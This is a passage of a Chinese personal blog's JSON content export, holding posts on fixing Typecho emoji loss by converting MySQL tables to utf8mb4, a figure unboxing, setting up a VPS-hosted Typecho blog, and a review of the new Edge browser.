查看一下已经设定好的定时任务,没什么问题的话就完成啦!","categories":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}],"tags":[{"name":"VULTR","slug":"VULTR","permalink":"https://blog.mashiro.nl/tags/VULTR/"},{"name":"API","slug":"API","permalink":"https://blog.mashiro.nl/tags/API/"}],"keywords":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}]},{"title":"Typecho 不显示 emoji 表情的解决方案","slug":"技术/Typecho不显示emoji表情的解决方案","date":"2020-06-06T19:06:00.000Z","updated":"2021-01-22T17:23:10.190Z","comments":true,"path":"2020/06/07/技术/Typecho不显示emoji表情的解决方案/","link":"","permalink":"https://blog.mashiro.nl/2020/06/07/技术/Typecho不显示emoji表情的解决方案/","excerpt":"","text":"其实之前一直没有发现这个问题,因为平时就算插入表情也是用贴图的方式,很少用emoji。但是前两天发布一篇文章后,突然发现文章的内容不见了一半,回到管理页面,里面也是只剩下前半截文章,真就凭空消失了呗!😂 (当时快被气死了) 然后看了一下中断的地方,想起后面应该是接了一个emoji表情,初步怀疑是这个原因。后面撰写了一篇带emoji表情的文章进行测试,果真如此。就是一旦你保存了文章,emoji后面的内容都会消失。 一开始试了很多方法,如嵌个p标签进去;使用转义字符……但通通都失败了。后来上网查找资料,找到了一篇真正靠谱的解决方案。 问题原因因为之前的数据表用的都是 UTF-8 的编码方式,但在 MySQL 中,UTF-8 最多只支持3个字节,而emoji是4个字节,所以就……但是我想起Wordpress的站点没出过这种问题啊,所以我特意查了一下它的数据表编码方式,发现居然是 utf8mb4。嗯,吹一波Wordpress大法好。 解决方法1.更改数据表编码方式 请记得一定要先备份数据库,虽然我可以保证按我说的做一定不会损坏你的数据,但毕竟数据无价 首先登录到Typecho的数据库 mysql -u root -p password #连接数据库命令 use <typecho数据库名>; #选择你的 Typecho 数据库 然后把下列数据表的编码方式改为 utf8mb4 alter table typecho_comments convert to character set utf8mb4 collate utf8mb4_unicode_ci; alter table typecho_contents convert to character set utf8mb4 collate utf8mb4_unicode_ci; alter table typecho_fields convert to character set utf8mb4 collate utf8mb4_unicode_ci; alter table typecho_metas convert to character set utf8mb4 collate utf8mb4_unicode_ci; alter table typecho_options convert to character set utf8mb4 collate utf8mb4_unicode_ci; alter table typecho_relationships convert to character set utf8mb4 collate utf8mb4_unicode_ci; alter table typecho_users convert to character set utf8mb4 collate utf8mb4_unicode_ci; 改完后用 show create table <表名>; 命令,查看一下是否修改成功请大胆放心地修改,因为utf8mb4是兼容UTF-8的,不会影响现有数据 2.更改 Typecho 配置文件位置就在你Typecho的安装目录里(举例:/home/wwwroot/你的网站根目录/config.inc.php)把数据库定义参数中 charset 的值改为 utf8mb4 $db->addServer(array ( 'host' => localhost, 'user' => 'me', 'password' => 'my_password', 'charset' => 'utf8mb4', #修改这一行 'port' => 3306, 'database' => '蛤?' ), Typecho_Db::READ | Typecho_Db::WRITE); 然后保存更改,就可以愉快地玩耍啦!最后狗头镇楼🐶 🐶 🐶","categories":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}],"tags":[{"name":"Typecho","slug":"Typecho","permalink":"https://blog.mashiro.nl/tags/Typecho/"},{"name":"Emoji","slug":"Emoji","permalink":"https://blog.mashiro.nl/tags/Emoji/"}],"keywords":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}]},{"title":"香风智乃景品开箱","slug":"ACG/香风智乃景品开箱","date":"2020-06-06T09:28:00.000Z","updated":"2021-01-22T10:53:47.246Z","comments":true,"path":"2020/06/06/ACG/香风智乃景品开箱/","link":"","permalink":"https://blog.mashiro.nl/2020/06/06/ACG/香风智乃景品开箱/","excerpt":"","text":"一入手办深似海,从此储蓄是路人。封面图:#香風智乃 - pixiv 入坑前其实很不理解那些”倾家荡产”去买手办的人,但是后来,真香!其实这可以理解成中二死肥宅的精神寄托,纸片人老婆已经不能满足他们了,于是他们希望能有一个实物来填补一下心中的空缺。唉!不禁感叹肥宅的钱太好赚了[doge] 买这个手办其实是机缘巧合吧!五一假期时B站会员购正好有活动,有100满减30的券,于是我这种万年白嫖用户也被拉下水了。因为”莫得”很多钱,所以只能买个景品来过过瘾 (明示你们给我投币) 至于说为什么买智乃,完全是因为同价位最香是这一款啊!虽然之前压根没有看过点兔🐇,但可爱不就完了。可惜没有真白的景品,不然博主肯定就冲了。 途中也是一波三折,快递包居然给我整到了山东去,我是很服气的。这里给申通点个赞 (。•ˇ‸ˇ•。)兜兜转转了一个多星期,快递总算到手上了,不过箱子就已经被挤得有点”胃胀气”了。幸好我不是八角尖尖那种强迫症患者 😂万幸的是里面的盒子没事,哈哈!!拆盒的时候忘拍照了,所以这里直接上拼装好的样子因为是景品,所以远观就够了,一些细节上自然比不上标准手办。再来说下瑕疵吧!整体没什么大的问题,唯一的不足就是头发有的地方上色不够均匀,而且头发上好像被刮花了一点,这个就真的有点难受另外还有一款保登心爱的配套,不过没有去入手,再入手怕是土都没得吃了……","categories":[{"name":"ACG","slug":"ACG","permalink":"https://blog.mashiro.nl/categories/ACG/"},{"name":"生活","slug":"ACG/生活","permalink":"https://blog.mashiro.nl/categories/ACG/生活/"}],"tags":[{"name":"开箱","slug":"开箱","permalink":"https://blog.mashiro.nl/tags/开箱/"},{"name":"手办","slug":"手办","permalink":"https://blog.mashiro.nl/tags/手办/"},{"name":"香风智乃","slug":"香风智乃","permalink":"https://blog.mashiro.nl/tags/香风智乃/"}],"keywords":[{"name":"ACG","slug":"ACG","permalink":"https://blog.mashiro.nl/categories/ACG/"},{"name":"生活","slug":"ACG/生活","permalink":"https://blog.mashiro.nl/categories/ACG/生活/"}]},{"title":"如何制作个人博客","slug":"技术/如何制作个人博客","date":"2020-06-03T17:23:00.000Z","updated":"2021-01-21T18:42:00.072Z","comments":true,"path":"2020/06/04/技术/如何制作个人博客/","link":"","permalink":"https://blog.mashiro.nl/2020/06/04/技术/如何制作个人博客/","excerpt":"","text":"本文参考自如何快速搭建个人博客,有删改 购买服务器(空间)服务器的选择很多,国内有阿里云、腾讯云这些主机商,国外比较知名的就是VULTR、Linode、搬瓦工等。其实选择哪个都可以,看个人需求。希望小站安安稳稳,又不介意备案的,可以考虑国内主机商的学生服务器;如果有“特殊的需求”,又追求大带宽的话,建议选择国外的主机商。部分主机商是有提供“空间”这种产品的,如果只是建站的话也可以考虑,但是能做的事情就没有服务器这么多了。下面以VULTR购买VPS为例。 搜索VULTR,进入注册页面,也欢迎用我的邀请链接进入https://www.vultr.com/?ref=8409200-6G,选择Cloud Compute。 进入后选择合适的套餐,一般$3.5或者$5那个套餐就够用了,千万不要选$2.5那个,因为只有一个IPv6地址分配给你。地域优先选日本,新加坡,美国西海岸的城市,因为这些地方离我们较近,ping值也相对较低。系统选 CentOS8 x64 (Ubuntu 18.04 x64 也可以),点击Deploy Now创建。 创建后就可以在主控制台看到VPS的IP地址,密码等信息,记下这些信息,待会连接时要用到。 进行连接之前可以先测一下ping值,如果ping值不满意就创建一个新的VPS,再把旧的销毁(VULTR的服务器是按小时计费的,不用担心费用问题)。在IPIP可以测服务器在各地的ping值,地址https://www.ipip.net 用Xshell连接服务器软件下载地址https://www.netsarang.com/zh/xshell,可以顺便把Xftp一起下载了,因为后面上传文件到服务器要用到。安装完成后新建一个会话,主机和密码填前面在控制台记下的。(如果是用密钥连接就不在此赘述了,Just Google it。) 出现像以下这样的字样就算连接成功了,就可以敲命令啦(•̀ᴗ•́)و 安装LnmpLnmp是一个别人配置好的一键安装包,包含Nginx,MySQL,PHP,非常适合新手配置网站所需的环境。具体安装方法见Lnmp官网,里面已经讲的很清楚了。如果安装过程断线了也不要紧,重连后运行 screen -r lnmp,让挂起的任务继续执行即可。 申请一个域名这里选择也很多,国内外的都可以,选一个自己喜欢的域名,找一个便宜的注册商就OK啦!下面以腾讯云为例,注册地址为https://dnspod.cloud.tencent.com,按提示一步步操作即可,申请过审后就可以解析域名到你的服务器上了。 解析完成后,你的服务器就能通过域名来访问。另外腾讯云上有免费的SSL证书申请,需要启用https的可以看下腾讯云的文档。当然也可以用下一步添加网站到服务器时自动生成SSL证书等信息。 添加网站到服务器这一步在Lnmp官网也有教程,不详细解释,码字太累了(>﹏<)。详见LNMP添加、删除虚拟主机及伪静态使用教程,伪静态那一步选择Typecho(喜欢用Wordpress的自行选择即可)。 PS:Wordpress和Typecho都是博客程序,从中选一个进行架设即可。 安装Typecho先到官网下载压缩包,解压后用Xftp上传到 /home/wwwroot 目录里面。Xftp连接和Xshell类似,只不过协议选择是SFTP,默认端口也是22。如果你已经用Xshell连上了,直接点击下图这个绿色按钮就可以建立连接了。连接后进入指定的目录,拖动文件即可完成传输。这一步“墙裂”建议国内服务器的小伙伴不要直接下载,最好找个梯子下载到本地,然后再上传到服务器,不然速度真的太感人了(亲测,用wget命令下载的时间比装个Lnmp都要久) 传输完成后就可以准备安装了,浏览器输入申请的域名,就会跳转到安装页面然后填写一些相关的信息,此处不再展开。 Typecho主题主题实在太多了,大家可以到一些主题站去找找。安装时用Xftp把解压后的主题传到 /home/wwwroot/usr/themes 目录下(具体视你网站的安装路径而定),再回到控制台启用主题。这里博主用的是VOID主题,Github主页AlanDecode/Typecho-Theme-VOID 最后有问题的话欢迎大家留言,虽然博主也不一定会QAQ","categories":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}],"tags":[{"name":"Typecho","slug":"Typecho","permalink":"https://blog.mashiro.nl/tags/Typecho/"},{"name":"VULTR","slug":"VULTR","permalink":"https://blog.mashiro.nl/tags/VULTR/"},{"name":"个人博客","slug":"个人博客","permalink":"https://blog.mashiro.nl/tags/个人博客/"}],"keywords":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}]},{"title":"新版Edge上手体验","slug":"生活/新版Edge上手体验","date":"2020-05-22T08:39:00.000Z","updated":"2021-01-22T11:12:21.674Z","comments":true,"path":"2020/05/22/生活/新版Edge上手体验/","link":"","permalink":"https://blog.mashiro.nl/2020/05/22/生活/新版Edge上手体验/","excerpt":"","text":"其实新版早在去年的年底就上架了微软官网,不过是Beta版本。现在正式版也已经出了,在微软官网就可以下载。地址:https://www.microsoft.com/zh-cn/edge 亮点之处1.使用了Chromium个人认为这是最大的一个亮点,新版Edge是基于Chromium开发的。你没看错,微软最终还是抛弃了自家的EdgeHTML。说句实在话,我觉得旧版的Edge微软已经做的很用心了,平时大部分时间也是用Edge,除了科学上网时才用的Chrome。(因为我没把默认的谷歌搜索引擎换掉,所以平时懒得在Chrome打开百度搜索)虽然旧版Edge比IE进步了不少,但是兼容性问题还是没有得到根本性解决。最为神奇的一点是:Edge居然不兼容以前的IE,所以有时就会出现这样的尴尬情况 不过新版本使用Chromium就不会再出现这种问题了,因为谷歌浏览器就是基于Chromium开发的 (不少国内双核浏览器也是),所以兼容性问题完全不用担心,你可以理解为套着Edge外壳的谷歌浏览器。 2.加入了集锦功能这是以前搁置标签页的升级版本。以前标签栏的页面多了,就会搁置一些标签页,需要时再还原。但是这个功能仅限浏览器没关闭的前提下,所以有时工作没处理完,只能挂着浏览器。 而新的集锦功能支持关闭浏览器后还原页面 (有点像变相的收藏夹),用法和以前搁置标签页差不多,非常实用的一个功能。另外它还支持共享,添加备注,以及发送到Word、Excel等功能,这波吹爆 ~ 3.支持原生Chrome拓展都用上Chromium了,肯定能用之前在谷歌浏览器的拓展啦!你甚至可以在上面去谷歌拓展商店装插件。(需要自备梯子哦 ~)当然也可以在微软商店安装,都是支持的。 4.新增密码管理页面以前不清楚有没有这个页面,反正这次更新后很容易就找到了这个页面。页面就不方便贴出来啦,告诉大家入口在设置 > 个人资料 > 密码,可以方便地管理你填写过的密码,伙伴们自行去探索吧! 外观变化首先是图标,感觉比旧版漂亮多了 然后我们打开看看 相比原来的没有什么变化,但是顶部标签栏改成和Chrome一样,方角用更为圆润的弧角代替了。 然后再看看新建标签页 排版布局和以前差异不大,但是在页面顶部加了一个搜索栏,还多了张背景图。不过排版可以简单地修改,点击右上角的齿轮,有聚焦、启示、信息和自定义4种模式可以设置 不过我发现顶部标签栏的窗口预览没有了,这个不太习惯…… 安装的注意事项记得安装前先把你的旧版Edge里面的拓展数据备份一下。(不用备份拓展插件,是备份插件的数据,例如Tampermonkey里面的脚本)像我不记得备份脚本,安装完浏览器发现脚本全没了😭另外一些拓展可能需要你手动重装一遍,如IDM的下载拓展。 PS:收藏夹不用备份,亲测 最后总结使用手感很不错,继承了Edge的风格,又加入了许多新元素 (集锦)。当然最为重要的一点:是终于能比较好的解决兼容性问题了!!!","categories":[{"name":"生活","slug":"生活","permalink":"https://blog.mashiro.nl/categories/生活/"}],"tags":[{"name":"Edge","slug":"Edge","permalink":"https://blog.mashiro.nl/tags/Edge/"},{"name":"浏览器","slug":"浏览器","permalink":"https://blog.mashiro.nl/tags/浏览器/"}],"keywords":[{"name":"生活","slug":"生活","permalink":"https://blog.mashiro.nl/categories/生活/"}]}]}